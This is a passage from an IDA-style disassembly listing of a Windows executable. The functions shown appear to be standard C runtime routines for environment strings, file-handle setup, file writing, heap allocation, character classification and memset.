sub_41B9A9+71j lea eax, [ebp+var_4] push eax lea ecx, [esi+edi] push edi lea esi, [ebp+var_8] mov eax, ebx call sub_41B83D mov eax, [ebp+var_4] dec eax pop ecx mov dword_47C1D8, eax pop ecx mov dword_47C1DC, edi xor eax, eax loc_41BA46: ; CODE XREF: sub_41B9A9+76j pop edi pop esi pop ebx leave retn sub_41B9A9 endp ; =============== S U B R O U T I N E ======================================= sub_41BA4B proc near ; CODE XREF: .text:00416229p var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx mov eax, dword_47C4A0 push ebx push ebp push esi push edi mov edi, ds:dword_4201C8 xor ebx, ebx xor esi, esi cmp eax, ebx push 2 pop ebp jnz short loc_41BA94 call edi ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz short loc_41BA7B mov dword_47C4A0, 1 jmp short loc_41BA99 ; --------------------------------------------------------------------------- loc_41BA7B: ; CODE XREF: sub_41BA4B+22j call ds:dword_420008 ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_41BA8F mov eax, ebp mov dword_47C4A0, eax jmp short loc_41BA94 ; --------------------------------------------------------------------------- loc_41BA8F: ; CODE XREF: sub_41BA4B+39j mov eax, dword_47C4A0 loc_41BA94: ; CODE XREF: sub_41BA4B+1Aj ; sub_41BA4B+42j cmp eax, 1 jnz short loc_41BB16 loc_41BA99: ; CODE XREF: sub_41BA4B+2Ej cmp esi, ebx jnz short loc_41BAA5 call edi ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz short loc_41BB1E loc_41BAA5: ; CODE XREF: sub_41BA4B+50j cmp [esi], bx mov eax, esi jz short loc_41BABA loc_41BAAC: ; CODE XREF: sub_41BA4B+66j ; sub_41BA4B+6Dj add eax, ebp cmp [eax], bx jnz short loc_41BAAC add eax, ebp cmp [eax], bx jnz short loc_41BAAC loc_41BABA: ; CODE XREF: sub_41BA4B+5Fj mov edi, ds:dword_4200D8 push ebx push ebx push ebx sub eax, esi push ebx sar eax, 1 inc eax push eax push esi push ebx push ebx mov [esp+38h+var_4], eax call edi ; WideCharToMultiByte mov ebp, eax cmp ebp, ebx jz short loc_41BB0B push ebp call sub_414CAD cmp eax, ebx pop ecx mov [esp+18h+var_8], eax jz short loc_41BB0B push ebx push ebx push ebp push eax push [esp+28h+var_4] push esi push ebx push ebx call edi ; WideCharToMultiByte test eax, eax jnz short loc_41BB07 push [esp+18h+var_8] call sub_414844 pop ecx mov [esp+18h+var_8], ebx loc_41BB07: ; CODE XREF: sub_41BA4B+ACj mov ebx, [esp+18h+var_8] loc_41BB0B: ; CODE XREF: sub_41BA4B+8Cj ; sub_41BA4B+9Bj push esi call ds:dword_4201C4 ; FreeEnvironmentStringsW mov eax, ebx jmp short loc_41BB66 ; --------------------------------------------------------------------------- loc_41BB16: ; CODE XREF: sub_41BA4B+4Cj cmp eax, ebp jz short loc_41BB22 cmp eax, ebx jz short loc_41BB22 loc_41BB1E: ; CODE XREF: sub_41BA4B+58j ; sub_41BA4B+E1j xor eax, eax jmp short loc_41BB66 ; --------------------------------------------------------------------------- loc_41BB22: ; CODE XREF: sub_41BA4B+CDj ; sub_41BA4B+D1j call ds:dword_4201C0 ; GetEnvironmentStrings mov esi, eax cmp esi, ebx jz short loc_41BB1E cmp [esi], bl jz short loc_41BB3C loc_41BB32: ; CODE XREF: sub_41BA4B+EAj ; sub_41BA4B+EFj inc eax cmp [eax], bl jnz short loc_41BB32 inc eax cmp [eax], bl jnz short loc_41BB32 loc_41BB3C: ; CODE XREF: sub_41BA4B+E5j sub eax, esi inc eax mov ebp, eax push ebp call sub_414CAD mov edi, eax cmp edi, ebx pop ecx jnz short loc_41BB52 xor edi, edi jmp short loc_41BB5D ; --------------------------------------------------------------------------- loc_41BB52: ; CODE XREF: sub_41BA4B+101j push ebp push esi push edi call sub_418F70 add esp, 0Ch loc_41BB5D: ; CODE XREF: sub_41BA4B+105j push esi call ds:dword_4201BC ; FreeEnvironmentStringsA mov eax, edi loc_41BB66: ; CODE XREF: sub_41BA4B+C9j ; sub_41BA4B+D5j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn sub_41BA4B endp ; =============== S U B R O U T I N E ======================================= sub_41BB6D proc near ; CODE XREF: .text:0041620Dp var_48 = dword ptr -48h var_44 = byte ptr -44h var_14 = dword ptr -14h var_10 = dword ptr -10h sub esp, 48h push ebx mov ebx, 480h push ebx call sub_414CAD test eax, eax pop ecx jnz short loc_41BB89 or eax, 0FFFFFFFFh jmp loc_41BD66 ; --------------------------------------------------------------------------- loc_41BB89: ; CODE XREF: sub_41BB6D+12j mov dword_47C640, eax mov dword_47C638, 20h lea ecx, [eax+480h] jmp short loc_41BBBE ; --------------------------------------------------------------------------- loc_41BBA0: ; CODE XREF: sub_41BB6D+53j and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh and dword ptr [eax+8], 0 mov byte ptr [eax+5], 0Ah mov ecx, dword_47C640 add eax, 24h add ecx, 480h loc_41BBBE: ; CODE XREF: sub_41BB6D+31j cmp eax, ecx jb short loc_41BBA0 push ebp push esi push edi lea eax, [esp+58h+var_44] push eax call ds:dword_420164 ; GetStartupInfoA cmp word ptr [esp+58h+var_14+2], 0 jz loc_41BCC5 mov eax, [esp+58h+var_10] test eax, eax jz loc_41BCC5 mov edi, [eax] lea ebp, [eax+4] lea eax, [edi+ebp] mov [esp+58h+var_48], eax mov eax, 800h cmp edi, eax jl short loc_41BBFF mov edi, eax loc_41BBFF: ; CODE XREF: sub_41BB6D+8Ej cmp dword_47C638, edi jge short loc_41BC55 mov esi, offset dword_47C644 loc_41BC0C: ; CODE XREF: sub_41BB6D+DEj push ebx call sub_414CAD test eax, eax pop ecx jz short loc_41BC4F add dword_47C638, 20h mov [esi], eax lea ecx, [eax+480h] jmp short loc_41BC3E ; --------------------------------------------------------------------------- loc_41BC28: ; CODE XREF: sub_41BB6D+D3j and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh and dword ptr [eax+8], 0 mov byte ptr [eax+5], 0Ah mov ecx, [esi] add eax, 24h add ecx, ebx loc_41BC3E: ; CODE XREF: sub_41BB6D+B9j cmp eax, ecx jb short loc_41BC28 add esi, 4 cmp dword_47C638, edi jl short loc_41BC0C jmp short loc_41BC55 ; --------------------------------------------------------------------------- loc_41BC4F: ; CODE XREF: sub_41BB6D+A8j mov edi, dword_47C638 loc_41BC55: ; CODE XREF: sub_41BB6D+98j ; sub_41BB6D+E0j xor ebx, ebx test edi, edi jle short loc_41BCC5 loc_41BC5B: ; CODE XREF: sub_41BB6D+156j mov eax, [esp+58h+var_48] mov eax, [eax] cmp eax, 0FFFFFFFFh jz short loc_41BCBA mov cl, [ebp+0] test cl, 1 jz short loc_41BCBA test cl, 8 jnz short loc_41BC7E push eax call ds:dword_4201D0 ; GetFileType test eax, eax jz short loc_41BCBA loc_41BC7E: ; CODE XREF: sub_41BB6D+104j mov ecx, ebx mov eax, ebx and eax, 1Fh lea eax, [eax+eax*8] sar ecx, 5 mov ecx, dword_47C640[ecx*4] lea esi, [ecx+eax*4] mov eax, [esp+58h+var_48] mov eax, [eax] mov [esi], eax mov al, [ebp+0] mov [esi+4], al lea eax, [esi+0Ch] push 0FA0h push eax call sub_41CFB8 test eax, eax pop ecx pop ecx jz short loc_41BCE5 inc dword ptr [esi+8] loc_41BCBA: ; CODE XREF: sub_41BB6D+F7j ; sub_41BB6D+FFj ... add [esp+58h+var_48], 4 inc ebx inc ebp cmp ebx, edi jl short loc_41BC5B loc_41BCC5: ; CODE XREF: sub_41BB6D+69j ; sub_41BB6D+75j ... xor ebx, ebx loc_41BCC7: ; CODE XREF: sub_41BB6D+1E2j mov ecx, dword_47C640 lea eax, [ebx+ebx*8] lea esi, [ecx+eax*4] cmp dword ptr [esi], 0FFFFFFFFh jnz short loc_41BD47 test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_41BCEA push 0FFFFFFF6h pop eax jmp short loc_41BCF4 ; --------------------------------------------------------------------------- loc_41BCE5: ; CODE XREF: sub_41BB6D+148j ; sub_41BB6D+1CDj or eax, 0FFFFFFFFh jmp short loc_41BD63 ; --------------------------------------------------------------------------- loc_41BCEA: ; CODE XREF: sub_41BB6D+171j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_41BCF4: ; CODE XREF: sub_41BB6D+176j push eax call ds:dword_4201B4 ; GetStdHandle mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_41BD41 push edi call ds:dword_4201D0 ; GetFileType test eax, eax jz short loc_41BD41 and eax, 0FFh cmp eax, 2 mov [esi], edi jnz short loc_41BD1F or byte ptr [esi+4], 40h jmp short loc_41BD28 ; --------------------------------------------------------------------------- loc_41BD1F: ; CODE XREF: sub_41BB6D+1AAj cmp eax, 3 jnz short loc_41BD28 or byte ptr [esi+4], 8 loc_41BD28: ; CODE XREF: sub_41BB6D+1B0j ; sub_41BB6D+1B5j lea eax, [esi+0Ch] push 0FA0h push eax call sub_41CFB8 test eax, eax pop ecx pop ecx jz short loc_41BCE5 inc dword ptr [esi+8] jmp short loc_41BD4B ; --------------------------------------------------------------------------- loc_41BD41: ; CODE XREF: sub_41BB6D+193j ; sub_41BB6D+19Ej or byte ptr [esi+4], 40h jmp short loc_41BD4B ; --------------------------------------------------------------------------- loc_41BD47: ; CODE XREF: sub_41BB6D+169j or byte ptr [esi+4], 80h loc_41BD4B: ; CODE XREF: sub_41BB6D+1D2j ; sub_41BB6D+1D8j inc ebx cmp ebx, 3 jl loc_41BCC7 push dword_47C638 call ds:dword_4201CC ; LockResource xor eax, eax loc_41BD63: ; CODE XREF: sub_41BB6D+17Bj pop edi pop esi pop ebp loc_41BD66: ; CODE XREF: sub_41BB6D+17j pop ebx add esp, 48h retn sub_41BB6D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BD6B proc near ; CODE XREF: sub_41BF10+52p ; sub_41E49E+91p var_420 = byte ptr -420h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 420h mov eax, dword_42DEB8 xor eax, [ebp+4] push edi xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+var_14], edi mov [ebp+var_18], edi jnz short loc_41BD94 xor eax, eax jmp loc_41BF02 ; --------------------------------------------------------------------------- loc_41BD94: ; CODE XREF: sub_41BD6B+20j mov eax, [ebp+arg_0] push ebx mov ebx, [ebp+arg_0] and eax, 1Fh sar ebx, 5 push esi lea esi, [eax+eax*8] lea ebx, ds:47C640h[ebx*4] mov eax, [ebx] shl esi, 2 test byte ptr [eax+esi+4], 20h jz short loc_41BDC7 push 2 push edi push edi push [ebp+arg_0] call sub_41E3BE add esp, 10h loc_41BDC7: ; CODE XREF: sub_41BD6B+4Bj mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_41BE99 cmp [ebp+arg_8], edi mov eax, [ebp+arg_4] mov [ebp+var_10], eax mov [ebp+var_8], edi jbe loc_41BED4 loc_41BDE7: ; CODE XREF: sub_41BD6B+F3j mov ecx, [ebp+var_10] sub ecx, [ebp+arg_4] lea eax, [ebp+var_420] mov [ebp+var_C], edi loc_41BDF6: ; CODE XREF: sub_41BD6B+B5j cmp ecx, [ebp+arg_8] jnb short loc_41BE22 mov edx, [ebp+var_10] inc [ebp+var_10] mov dl, [edx] inc ecx cmp dl, 0Ah jnz short loc_41BE13 inc [ebp+var_18] mov byte ptr [eax], 0Dh inc eax inc [ebp+var_C] loc_41BE13: ; CODE XREF: sub_41BD6B+9Cj mov [eax], dl inc eax inc [ebp+var_C] cmp [ebp+var_C], 400h jl short loc_41BDF6 loc_41BE22: ; CODE XREF: sub_41BD6B+8Ej mov edi, eax lea eax, [ebp+var_420] sub edi, eax push 0 lea eax, [ebp+var_1C] push eax push edi lea eax, [ebp+var_420] push eax mov eax, [ebx] push dword ptr [eax+esi] call ds:dword_420040 ; WriteFile test eax, eax jz short loc_41BE62 mov eax, [ebp+var_1C] add [ebp+var_14], eax cmp eax, edi jl short loc_41BE6B mov eax, [ebp+var_10] sub eax, [ebp+arg_4] xor edi, edi cmp eax, [ebp+arg_8] jb short loc_41BDE7 jmp short loc_41BE6D ; --------------------------------------------------------------------------- loc_41BE62: ; CODE XREF: sub_41BD6B+DCj call ds:dword_420008 ; RtlGetLastWin32Error mov [ebp+var_8], eax loc_41BE6B: ; CODE XREF: sub_41BD6B+E6j xor edi, edi loc_41BE6D: ; CODE XREF: sub_41BD6B+F5j ; sub_41BD6B+14Ej ... mov eax, [ebp+var_14] cmp eax, edi jnz loc_41BEFD cmp [ebp+var_8], edi jz short loc_41BED4 push 5 pop esi cmp [ebp+var_8], esi jnz short loc_41BEC6 call sub_419430 mov dword ptr [eax], 9 call sub_419439 mov [eax], esi jmp short loc_41BECF ; --------------------------------------------------------------------------- loc_41BE99: ; CODE XREF: sub_41BD6B+64j push edi lea ecx, [ebp+var_1C] push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] call ds:dword_420040 ; WriteFile test eax, eax jz short loc_41BEBB mov eax, [ebp+var_1C] mov [ebp+var_8], edi mov [ebp+var_14], eax jmp short loc_41BE6D ; --------------------------------------------------------------------------- loc_41BEBB: ; CODE XREF: sub_41BD6B+143j call ds:dword_420008 ; RtlGetLastWin32Error mov [ebp+var_8], eax jmp short loc_41BE6D ; --------------------------------------------------------------------------- loc_41BEC6: ; CODE XREF: sub_41BD6B+118j push [ebp+var_8] call sub_419442 pop ecx loc_41BECF: ; CODE XREF: sub_41BD6B+12Cj ; sub_41BD6B+190j or eax, 0FFFFFFFFh jmp short loc_41BF00 ; --------------------------------------------------------------------------- loc_41BED4: ; CODE XREF: sub_41BD6B+76j ; sub_41BD6B+110j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_41BEE9 mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jnz short loc_41BEE9 xor eax, eax jmp short loc_41BF00 ; --------------------------------------------------------------------------- loc_41BEE9: ; CODE XREF: sub_41BD6B+170j ; sub_41BD6B+178j call sub_419430 mov dword ptr [eax], 1Ch call sub_419439 mov [eax], edi jmp short loc_41BECF ; --------------------------------------------------------------------------- loc_41BEFD: ; CODE XREF: sub_41BD6B+107j sub eax, [ebp+var_18] loc_41BF00: ; CODE XREF: sub_41BD6B+167j ; sub_41BD6B+17Cj pop esi pop ebx loc_41BF02: ; CODE XREF: sub_41BD6B+24j mov ecx, [ebp+var_4] xor ecx, [ebp+4] pop edi call sub_41A026 leave retn sub_41BD6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BF10 proc near ; CODE XREF: sub_4162EB+98p ; sub_4162EB+EBp ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 0041BF9F SIZE 0000001C BYTES push 0Ch push offset stru_429900 call __SEH_prolog mov ebx, [ebp+arg_0] cmp ebx, dword_47C638 jnb short loc_41BF9F mov eax, ebx sar eax, 5 lea edi, ds:47C640h[eax*4] mov eax, ebx and eax, 1Fh lea esi, [eax+eax*8] shl esi, 2 mov eax, [edi] test byte ptr [eax+esi+4], 1 jz short loc_41BF9F push ebx call sub_41CB8C pop ecx and [ebp+ms_exc.disabled], 0 mov eax, [edi] test byte ptr [eax+esi+4], 1 jz short loc_41BF6F push [ebp+arg_8] push [ebp+arg_4] push ebx call sub_41BD6B add esp, 0Ch mov [ebp+var_1C], eax jmp short loc_41BF86 ; --------------------------------------------------------------------------- loc_41BF6F: ; CODE XREF: sub_41BF10+49j call sub_419430 mov dword ptr [eax], 9 call sub_419439 and dword ptr [eax], 0 or [ebp+var_1C], 0FFFFFFFFh loc_41BF86: ; CODE XREF: sub_41BF10+5Dj or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41BF97 mov eax, [ebp+var_1C] jmp short loc_41BFB5 sub_41BF10 endp ; =============== S U B R O U T I N E ======================================= sub_41BF94 proc near ; DATA XREF: .rdata:stru_429900o mov ebx, [ebp+8] sub_41BF94 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41BF97 proc near ; CODE XREF: sub_41BF10+7Ap push ebx call sub_41CBFF pop ecx retn sub_41BF97 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41BF10 loc_41BF9F: ; CODE XREF: sub_41BF10+15j ; sub_41BF10+35j call sub_419430 mov dword ptr [eax], 9 call sub_419439 and dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_41BFB5: ; CODE XREF: sub_41BF10+82j call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_41BF10 ; =============== S U B R O U T I N E ======================================= sub_41BFBB proc near ; CODE XREF: sub_4162EB+6Fp ; sub_418C09+34p ... arg_0 = dword ptr 4 inc dword_47C220 push 1000h call sub_414CAD test eax, eax pop ecx mov ecx, [esp+arg_0] mov [ecx+8], eax jz short loc_41BFE4 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_41BFF5 ; --------------------------------------------------------------------------- loc_41BFE4: ; CODE XREF: sub_41BFBB+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_41BFF5: ; CODE XREF: sub_41BFBB+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_41BFBB endp ; =============== S U B R O U T I N E ======================================= sub_41BFFF proc near ; CODE XREF: sub_4162EB+64p ; sub_41A95C+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_47C638 jb short loc_41C00E xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C00E: ; CODE XREF: sub_41BFFF+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_47C640[ecx*4] lea eax, [eax+eax*8] movsx eax, byte ptr [ecx+eax*4+4] and eax, 40h retn sub_41BFFF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C029 proc near ; CODE XREF: sub_41C089+1Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = word ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] push esi xor esi, esi cmp ecx, esi jnz short loc_41C03A xor eax, eax jmp short loc_41C086 ; --------------------------------------------------------------------------- loc_41C03A: ; CODE XREF: sub_41C029+Bj mov eax, [ebp+arg_0] cmp [eax+14h], esi jnz short loc_41C053 mov ax, [ebp+arg_8] cmp ax, 0FFh ja short loc_41C078 mov [ecx], al xor eax, eax inc eax jmp short loc_41C086 ; --------------------------------------------------------------------------- loc_41C053: ; CODE XREF: sub_41C029+17j lea edx, [ebp+arg_4] push edx push esi push dword ptr [eax+28h] mov [ebp+arg_4], esi push ecx push 1 lea ecx, [ebp+arg_8] push ecx push esi push dword ptr [eax+4] call ds:dword_4200D8 ; WideCharToMultiByte cmp eax, esi jz short loc_41C078 cmp [ebp+arg_4], esi jz short loc_41C086 loc_41C078: ; CODE XREF: sub_41C029+21j ; sub_41C029+48j call sub_419430 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh loc_41C086: ; CODE XREF: sub_41C029+Fj ; sub_41C029+28j ... pop esi pop ebp retn sub_41C029 endp ; =============== S U B R O U T I N E ======================================= sub_41C089 proc near ; CODE XREF: sub_416492+317p ; sub_416492+6F7p arg_0 = dword ptr 4 arg_4 = dword ptr 8 call sub_416C45 mov eax, [eax+64h] cmp eax, off_42D84C jz short loc_41C09E call sub_417A7E loc_41C09E: ; CODE XREF: sub_41C089+Ej push [esp+arg_4] push [esp+4+arg_0] push eax call sub_41C029 add esp, 0Ch retn sub_41C089 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C0B0 proc near ; CODE XREF: sub_416C45+23p ; sub_416CB6+29p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 0041C163 SIZE 00000008 BYTES push 10h push offset stru_429910 call __SEH_prolog mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] mov [ebp+var_1C], esi test esi, esi jnz short loc_41C0CB inc esi loc_41C0CB: ; CODE XREF: sub_41C0B0+18j ; sub_41C0B0+9Fj xor edi, edi mov [ebp+var_20], edi cmp esi, 0FFFFFFE0h ja short loc_41C13A cmp dword_47C9A0, 3 jnz short loc_41C125 add esi, 0Fh and esi, 0FFFFFFF0h mov [ebp+arg_4], esi mov ebx, [ebp+var_1C] cmp ebx, dword_47C98C ja short loc_41C125 push 4 call sub_4180B5 pop ecx and [ebp+ms_exc.disabled], edi push ebx call sub_41890D pop ecx mov [ebp+var_20], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41C15A mov edi, [ebp+var_20] test edi, edi jz short loc_41C129 push [ebp+var_1C] push 0 push edi call sub_41C380 add esp, 0Ch loc_41C125: ; CODE XREF: sub_41C0B0+2Cj ; sub_41C0B0+40j test edi, edi jnz short loc_41C163 loc_41C129: ; CODE XREF: sub_41C0B0+65j push esi push 8 push dword_47C99C call ds:dword_42005C ; RtlAllocateHeap mov edi, eax loc_41C13A: ; CODE XREF: sub_41C0B0+23j test edi, edi jnz short loc_41C163 cmp dword_47C37C, edi jz short loc_41C163 push esi call sub_4192AD pop ecx test eax, eax jnz loc_41C0CB jmp short loc_41C165 sub_41C0B0 endp ; =============== S U B R O U T I N E ======================================= sub_41C157 proc near ; DATA XREF: .rdata:stru_429910o mov esi, [ebp+0Ch] sub_41C157 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41C15A proc near ; CODE XREF: sub_41C0B0+5Bp push 4 call sub_418021 pop ecx retn sub_41C15A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41C0B0 loc_41C163: ; CODE XREF: sub_41C0B0+77j ; sub_41C0B0+8Cj ... mov eax, edi loc_41C165: ; CODE XREF: sub_41C0B0+A5j call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_41C0B0 ; =============== S U B R O U T I N E ======================================= sub_41C16B proc near ; CODE XREF: sub_416D3B+CFp ; sub_416D3B+301p ... arg_0 = dword ptr 4 call sub_416C45 mov eax, [eax+64h] cmp eax, off_42D84C jz short loc_41C180 call sub_417A7E loc_41C180: ; CODE XREF: sub_41C16B+Ej cmp dword ptr [eax+28h], 1 jle short loc_41C196 push 4 push [esp+4+arg_0] push eax call sub_41787B add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_41C196: ; CODE XREF: sub_41C16B+19j mov eax, [eax+48h] mov ecx, [esp+arg_0] movzx eax, byte ptr [eax+ecx*2] and eax, 4 retn sub_41C16B endp ; =============== S U B R O U T I N E ======================================= sub_41C1A5 proc near ; CODE XREF: sub_416D3B+840p ; sub_416D3B+922p arg_0 = dword ptr 4 call sub_416C45 mov eax, [eax+64h] cmp eax, off_42D84C jz short loc_41C1BA call sub_417A7E loc_41C1BA: ; CODE XREF: sub_41C1A5+Ej cmp dword ptr [eax+28h], 1 jle short loc_41C1D3 push 80h push [esp+4+arg_0] push eax call sub_41787B add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_41C1D3: ; CODE XREF: sub_41C1A5+19j mov eax, [eax+48h] mov ecx, [esp+arg_0] movzx eax, byte ptr [eax+ecx*2] and eax, 80h retn sub_41C1A5 endp ; =============== S U B R O U T I N E ======================================= sub_41C1E4 proc near ; CODE XREF: sub_416D3B+3Fp ; sub_416D3B+5Ap ... arg_0 = dword ptr 4 call sub_416C45 mov eax, [eax+64h] cmp eax, off_42D84C jz short loc_41C1F9 call sub_417A7E loc_41C1F9: ; CODE XREF: sub_41C1E4+Ej cmp dword ptr [eax+28h], 1 jle short loc_41C20F push 8 push [esp+4+arg_0] push eax call sub_41787B add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_41C20F: ; CODE XREF: sub_41C1E4+19j mov eax, [eax+48h] mov ecx, [esp+arg_0] movzx eax, byte ptr [eax+ecx*2] and eax, 8 retn sub_41C1E4 endp ; =============== S U B R O U T I N E ======================================= sub_41C21E proc near ; CODE XREF: sub_416D3B+6Dp ; sub_416D3B+3DCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_41C26A mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_41C23C test al, al jns short loc_41C26A test al, 2 jnz short loc_41C26A loc_41C23C: ; CODE XREF: sub_41C21E+14j cmp dword ptr [esi+8], 0 jnz short loc_41C249 push esi call sub_41BFBB pop ecx loc_41C249: ; CODE XREF: sub_41C21E+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_41C259 cmp dword ptr [esi+4], 0 jnz short loc_41C26A inc eax mov [esi], eax loc_41C259: ; CODE XREF: sub_41C21E+30j dec dword ptr [esi] test byte ptr [esi+0Ch], 40h mov eax, [esi] jz short loc_41C270 cmp [eax], bl jz short loc_41C272 inc eax mov [esi], eax loc_41C26A: ; CODE XREF: sub_41C21E+9j ; sub_41C21E+18j ... or eax, 0FFFFFFFFh loc_41C26D: ; CODE XREF: sub_41C21E+6Aj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_41C270: ; CODE XREF: sub_41C21E+43j mov [eax], bl loc_41C272: ; CODE XREF: sub_41C21E+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and eax, 0FFFFFFEFh or eax, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_41C26D sub_41C21E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C28A proc near ; CODE XREF: sub_41C34A+22p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_8] xor ebx, ebx cmp edi, ebx jz short loc_41C2AE cmp [ebp+arg_C], ebx jz short loc_41C2AE mov al, [edi] cmp al, bl jnz short loc_41C2B5 mov eax, [ebp+arg_4] cmp eax, ebx jz short loc_41C2AE mov [eax], bx loc_41C2AE: ; CODE XREF: sub_41C28A+Dj ; sub_41C28A+12j ... xor eax, eax loc_41C2B0: ; CODE XREF: sub_41C28A+44j ; sub_41C28A+8Dj ... pop edi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41C2B5: ; CODE XREF: sub_41C28A+18j mov esi, [ebp+arg_0] cmp [esi+14h], ebx jnz short loc_41C2D0 mov ecx, [ebp+arg_4] cmp ecx, ebx jz short loc_41C2CB movzx ax, al mov [ecx], ax loc_41C2CB: ; CODE XREF: sub_41C28A+38j ; sub_41C28A+ABj xor eax, eax inc eax jmp short loc_41C2B0 ; --------------------------------------------------------------------------- loc_41C2D0: ; CODE XREF: sub_41C28A+31j mov ecx, [esi+48h] movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_41C319 mov eax, [esi+28h] cmp eax, 1 jle short loc_41C307 cmp [ebp+arg_C], eax jl short loc_41C307 xor ecx, ecx cmp [ebp+arg_4], ebx setnz cl push ecx push [ebp+arg_4] push eax push edi push 9 push dword ptr [esi+4] call ds:dword_4200D4 ; MultiByteToWideChar test eax, eax jnz short loc_41C314 loc_41C307: ; CODE XREF: sub_41C28A+59j ; sub_41C28A+5Ej mov eax, [ebp+arg_C] cmp eax, [esi+28h] jb short loc_41C337 cmp [edi+1], bl jz short loc_41C337 loc_41C314: ; CODE XREF: sub_41C28A+7Bj mov eax, [esi+28h] jmp short loc_41C2B0 ; --------------------------------------------------------------------------- loc_41C319: ; CODE XREF: sub_41C28A+51j xor eax, eax cmp [ebp+arg_4], ebx setnz al push eax push [ebp+arg_4] push 1 push edi push 9 push dword ptr [esi+4] call ds:dword_4200D4 ; MultiByteToWideChar test eax, eax jnz short loc_41C2CB loc_41C337: ; CODE XREF: sub_41C28A+83j ; sub_41C28A+88j call sub_419430 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp loc_41C2B0 sub_41C28A endp ; =============== S U B R O U T I N E ======================================= sub_41C34A proc near ; CODE XREF: sub_416D3B+68Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_416C45 mov eax, [eax+64h] cmp eax, off_42D84C jz short loc_41C35F call sub_417A7E loc_41C35F: ; CODE XREF: sub_41C34A+Ej push [esp+arg_8] push [esp+4+arg_4] push [esp+8+arg_0] push eax call sub_41C28A add esp, 10h retn sub_41C34A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C380 proc near ; CODE XREF: sub_416D3B+512p ; sub_4197F5+8Cp ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_41C3DB xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_41C3CB neg ecx and ecx, 3 jz short loc_41C3AD sub edx, ecx loc_41C3A3: ; CODE XREF: sub_41C380+2Bj mov [edi], al add edi, 1 sub ecx, 1 jnz short loc_41C3A3 loc_41C3AD: ; CODE XREF: sub_41C380+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 